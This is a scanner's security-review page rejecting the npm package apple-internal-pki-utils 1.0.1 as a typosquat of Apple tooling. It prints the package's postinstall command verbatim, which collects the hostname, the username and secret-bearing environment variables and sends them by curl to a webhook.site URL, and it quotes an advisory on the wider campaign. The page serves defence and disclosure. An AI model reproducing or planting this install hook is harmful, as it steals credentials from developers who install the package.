All apple-internal-pki-utils versions

[email protected] rejected Risk: 100 No license

apple-internal-pki-utils @1.0.1

rejected
This version was rejected. It did not pass GreenFlagged's security review and is not served by the registry. The findings and risk dispositions below explain why.
npm Tarball
100
Risk Score
—
License
Yes
Install Scripts
0
Dependencies
0
Dev Dependencies
.4 KB
Package Size
Published

Maintainers

raya4321

Risk Dispositions (2 applicable to this version, 0 other)

Accepted rules are downgraded to INFO on future analyses; rejected rules escalate to CRITICAL.

Rule Source Disposition Author Reason
install-script:postinstall install-scripts reject AI AI (install-scripts): Postinstall is a credential-stealing exfiltration payload; generalizes to all versions of this package.
bogus-package bogus-package reject AI AI (bogus-package): Package is a malicious throwaway impersonating Apple internal tooling; generalizes to all versions.

SAST Findings (4)

CRITICAL Package has 'postinstall' script install-scripts

[Always reject] Script: D=$(hostname; whoami; printenv | grep -E 'APPLE|AWS|GIT|SECRET'); curl -G --data-urlencode "log=$D" https://webhook.site/9a376595-d347-4110-ac32-814e6e2f0754

CRITICAL Low-value / spam package indicators (6 signals, score 8) bogus-package

[Always reject] Matched 6 signal(s), weighted score 8: • [S_PUBLISHER_MASS_PRODUCTION] Maintainer 'raya4321' owns 20 packages, ≥70% share a templated name shape. • [S_NO_REPO_NO_HOME] No repository, homepage, or bugs URL — genuine packages almost always link somewhere. • [S_NO_KEYWORDS] No keywords declared. • [S_NO_DEPS] No runtime, dev, peer, or optional dependencies declared. • [S_TINY_PAYLOAD] Tiny payload: 1 code file(s), 430 bytes total. • [S_INFLATED_FIRST_SEMVER] First publish at version 1.0.1 — inflated semver on a brand-new package.

CRITICAL MAL-2026-3160: Malicious code in apple-internal-pki-utils (npm) osv

Malicious npm package published by threat actor "raya4321" as part of a coordinated typosquatting campaign impersonating Apple internal infrastructure services (authentication, PKI, telemetry, CloudKit, and cloud infrastructure). All packages in this campaign execute credential-theft payloads during npm installation via preinstall or postinstall lifecycle hooks. Trigger: postinstall. Exfiltrates hostname and filtered environment variables matching APPLE, AWS, GIT, or SECRET key patterns, base64-encoded, to a requestcatcher.com endpoint constructed from the $CATCHER_NAME environment variable (/apple_leak path).

LOW No provenance attestation provenance

Package was published without Sigstore provenance. Only ~12% of npm packages have provenance, so this is common but not ideal.

Review Summary

Risk score: 100 (capped from 123). Findings: 3 critical (+120), 1 low (+3).

Published to npm: